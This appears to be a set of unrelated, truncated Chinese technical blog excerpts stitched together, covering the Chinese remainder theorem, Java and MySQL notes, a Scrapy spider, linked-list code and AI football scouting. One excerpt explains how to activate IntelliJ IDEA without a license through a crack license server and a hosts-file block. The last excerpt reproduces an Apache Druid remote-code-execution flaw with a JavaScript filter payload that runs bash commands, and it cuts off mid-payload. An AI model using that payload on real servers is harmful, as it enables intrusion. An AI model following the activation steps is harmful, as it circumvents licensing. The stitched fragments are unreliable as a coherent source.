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前言: 中国剩余定理又名孙子定理。因孙子二字歧义，常以段子形式广泛流传。 中国剩余定理并不是很好理解，我也理解了很多次。 CRT 中国剩余定理 中国剩余定理，就是一个解同余方程组的算法。 求满足n个条件的最小的x。 看起来很麻烦。 先找一个特殊情况：$m_1,m_2,...m_n$两两互质。 这个时候，构造$M=m_1*m_2*...m_n$; 令$M_i=M/m_i$; 所以，构造$n$个数，其中第$i$个数是除$i$之外的其他所有数的倍数，并且第$i$个数$mod m_i =1$ 即：$M_i x = 1 ( mod m_i ) $求出这样一个x，就求出了 这个数。 因为$m$之间两两互质，所以对于$n$个这样的方程，$x$本质上就是$M_i$在$m_i$意义下的乘法逆元。 （不会$exgcd$？左转： EXGCD 扩展欧几里得 ） 因为互质，一定有解的。 用扩展欧几里得算就可以。 同理，构造$n$个数。$b_1,b_2....b_n$ 其中，$b_i=M_i \times x_i$ 那么，因为$b_i = 1 (mod m_i)$，所以$ b_i * a_i = a_i (mod m_i)$ 那么，原题目中的这个x就是：$x=(a_1\times b_1+a_2\times b_2+...+a_n\times b_n) $验证一下，是不是？ 总得来说， 对于$mi$互质的情况

IntelliJ IDEA 安装、注册码激活 一、安装 1、下载IDEA 2、双击.exe文件，显示如图，点击next 3、选择安装位置，点击next 4、勾选相应操作系统位数、安装插件，点击next 5、接下来就是选择我们的菜单，然后点击install安装就会进入安装过程 6、安装完成后，会出现下图finish结束按钮，上面的选项是问我们是否现在打开IDEA 注： JDK安装步骤参考如下网址： https://www.cnblogs.com/Michelle20180227/p/10564215.html 二、激活 方法一：使用激活服务器激活方法 步骤 1、打开注册/激活窗口； 2、选择 License server； 3、填入上述其中一个网址（如：http://idea .java .sx ）； 4、点击Activate即可完美激活! 方法二：注册码激活方法（建议用这种） 1、进入hosts文件中：C:\Windows\System32\drivers\etc\hosts 2、将“0.0.0.0 account.jetbrains.com”添加到hosts文件中 注意：添加只有重新打开hosts文件进行确认之后在进行下一步操作。 修改成功后如图所示： 注：将这条数据加入之后会提示保存，然后确认之后，重新打开hosts文件确认是否添加成功，有时候会提示确认两次。 4

项目 内容 《面向对象程序设计（java）》 https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.com/nwnu-daizh/p/11552848.html 作业学习目标 掌握类与对象的基础概念，理解类与对象的关系； 掌握对象与对象变量的关系； 掌握预定义类Date、LocalDate类的常用API； 掌握用户自定义类的语法规则，包括实例域、静态域、构造器方法、更改器方法、访问器方法、静态方法、main方法、方法参数的定义要求；（重点、难点） 掌握对象的构造方法、定义方法及使用要求；（重点）； 理解重载概念及用法； 掌握包的概念及用法； 第一部分：总结第四章理论知识 4.1 　　面向对象程序设计(OOP)：　　主流的程序设计范例；　　将数据放在第一位，然后再考虑操作数据的算法；　　适合于大型程序的开发。 　　类(CLASS)：　　构造对象的模板；　　由类构造对象的过程称为创建类的实例。　　 　　对象：　　有 对象的行为，对象的状态，对象标识 三个主要特性；　　类的实例。 　　类之间常见的三种关系：依赖(dependence)，聚合(aggregation)，继承(inheritance)。 4.2 　 　　构造器：　　构造对象时使用的特殊的方法，与类同名。　　使用方法：以Data类为例，　new

项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.com/nwnu-daizh/p/11703678.html 作业学习目标 掌握接口定义方法； 掌握实现接口类的定义要求； 掌握实现了接口类的使用要求； 理解程序回调设计模式； 掌握Comparator接口用法； 掌握对象浅层拷贝与深层拷贝方法； 掌握Lambda表达式语法； 了解内部类的用途及语法要求。 第一部分：总结第六章理论知识 　　1.接口（interface）：　　　 　　　　接口的声明语法格式如下： 　　　　[ 可见度 ] interface 接口名称 [ extends 其他的接口名 ] { 　　　　 // 声明变量 　　 　　 // 抽象方法 　　　　} 　　　　1）接口不是类，是对类的一组需求描述，由常量和抽象方法组成，不能包含实例域和静态方法 　　　　2）不能构造接口的对象，但可以声明接口的变量，接口变量必须引用实现了接口的类对象 　　　　3）接口可以象类的继承一样扩展 public interface 接口1 extends接口2 {...} 　　　　4）一个类可以实现多个接口 　　2.回调（callback）： 　　　　指出某个特定事件发生时应该采取的动作；在java

MySQL 的官网下载地址： http://www.mysql.com/downloads/ 一、各版本的区别 1. MySQL Community Server 社区版本，开源免费，但不提供官方技术支持。 2. MySQL Enterprise Edition 企业版本，需付费，可以试用30天。 3. MySQL Cluster 集群版，开源免费。可将几个MySQL Server封装成一个Server。 4. MySQL Cluster CGE 高级集群版，需付费。 5. MySQL Workbench（GUI TOOL）一款专为MySQL设计的ER/数据库建模工具。它是著名的数据库设计工具DBDesigner4的继任者。MySQL Workbench又分为两个版本，分别是社区版（MySQL Workbench OSS）、商用版（MySQL Workbench SE）。 我选择MySQL Community Server，下载的文件为mysql-installer-community-5.7.21.0.msi，这个是windows图形界面的离线安装方式，可以免去很多直接解压安装方式的配置。 二，安装（windows安装包安装） 1，点击mysql-installer-community-5.7.21.0.msi安装 如果出现下面的提示框，表明安装程序需要.Net

作者 | 神经小兮 来源 | HyperAI超神经 头图 | 下载于视觉中国 球探对于很多人来说是一个略显神秘的群体，他们对一个球队的建设和发展至关重要。为了提高球探的工作效率，英超伯恩利足球俱乐部最近启用了 AI 球探。 关键词： AI 球探 计算机视觉 姿态识别 最近，中国足球运动员李嗣镕，与荷兰海牙足球俱乐部签下职业合同，这一消息很快登上微博热搜，但他上热搜的原因竟是因为：太帅了。 李嗣镕今年 18 岁，是一个「球二代」， 父亲是前中国国家队国脚李明 虽然因为帅而火出圈，但李嗣镕实际上是集高颜值与实力于一身。7 岁开始练球，12 岁进入海牙俱乐部青训系统，并被俱乐部 CEO 哈姆迪看好，认为他「将来可以去英超赛场闯荡」。 在众多年轻球员中，还隐藏着更多李嗣镕这样的潜力股，他们如何才能被发现？这还要从足球圈内一个特殊的职业说起。 独具慧眼的球探，发现明日之星 在各大联赛足球俱乐部，除了教练、球员以及管理人员外，还有一个职位至关重要，那就是球探。 球探的职责，就是在全球各地大大小小的比赛中，发现天赋过人的年轻球员，并把他们推荐给教练。 对于很多天才球员来说，球探无异于发现千里马的伯乐。 贝克汉姆： 他在 11 岁那年的一场少年队比赛中，因为抢眼的表现，被曼联著名球探马尔科姆·费吉恩相中，之后很快收到曼联的邀请函； 梅西： 在 13 岁时被巴塞罗那球探雷克萨奇发现并签约； 罗纳尔多

用scrapy爬取链家全国以上房源分类的信息： 路径： items.py # -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # https://doc.scrapy.org/en/latest/topics/items.html import scrapy class LianItem(scrapy.Item): # define the fields for your item here like: # name = scrapy.Field() pass class ErShouFangItem(scrapy.Item): # 省份 province = scrapy.Field() # 城市 city = scrapy.Field() # 总价 total_price = scrapy.Field() # 单价 single_price = scrapy.Field() # 楼层 room_info = scrapy.Field() # 住宅位置 region = scrapy.Field() # 房屋朝向及装修情况 direction = scrapy.Field() # 建筑面积 area = scrapy.Field() #

前言： 　　ArrayList底层是依靠数组实现的，而LinkedList的实现是含前驱后继节点的双向列表。平时刷题时会经常使用到这两个集合类，这两者的区别在我眼中主要是ArrayList读取节点平均时间复杂度是O（1）级别的，插入删除节点是O（n）；LinkedList读取节点时间复杂度是O（n），插入节点是O（1）。 　　本文记录我对jdk1.8下的ArrayList和LinkedList源码中主要内容的学习。 1、ArrayList 1.1 主要成员变量 1 // 默认容量 2 private static final int DEFAULT_CAPACITY = 10 ; 3 // 空的数组 4 private static final Object[] EMPTY_ELEMENTDATA = {}; 5 6 private static final Object[] DEFAULTCAPACITY_EMPTY_ELEMENTDATA = {}; 7 // 数据数组 8 transient Object[] elementData; // non-private to simplify nested class access 9 // 当前大小 10 private int size; 　　主要成员变量如上，最重要的就是size和elementData

点击 这里 可以查看更多算法面试相关内容~ 题目描述 给定一个链表，两两交换其中相邻的节点，并返回交换后的链表。 你不能只是单纯的改变节点内部的值，而是需要实际的进行节点交换。 示例 1： 输入：head = [1,2,3,4] 输出：[2,1,4,3] 示例 2： 输入：head = [] 输出：[] 示例 3： 输入：head = [1] 输出：[1] 提示： 链表中节点的数目在范围 [0, 100] 内 0 <= Node.val <= 100 递归解法（哨兵技巧） 哨兵技巧我们之前在前面的多道链表题讲过，让三叶来帮你回忆一下： 做有关链表的题目，有个常用技巧：添加一个虚拟头结点（哨兵），帮助简化边界情况的判断。 链表和树的题目天然适合使用递归来做。 我们可以设计一个递归函数，接受一个 ListNode 节点 root 作为参数，函数的作用是将 root 后面的两个节点进行交换，交换完成后再将下一个节点传入 ... 交换的前提条件：节点 root 后面至少有两个节点。同时别忘了应用我们的「哨兵技巧」： class Solution { public ListNode swapPairs(ListNode head) { ListNode dummy = new ListNode(-1); dummy.next = head; recursive(dummy); return

漏洞概述 Apache Druid 是用Java编写的面向列的开源分布式数据存储，旨在快速获取大量事件数据，并在数据之上提供低延迟查询。 Apache Druid 默认情况下缺乏授权认证，攻击者可以发送特制请求，利用Druid服务器上进程的特权执行任意代码。 影响版本 Apache Druid < 0.20.1 环境搭建 这里使用docker来搭建 拉取镜像并启动 Apache Druid:0.16.0 版本的环境 docker pull fokkodriesprong/docker-druid docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid 访问your-ip:8888即可看到页面 漏洞复现 点击Load data -> Local disk 依次填入 Base directory: quickstart/tutorial/ File filter: wikiticker-2015-09-12-sampled.json.gz 默认next 到filter项 抓包修改filter为 { "type":"javascript", "function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash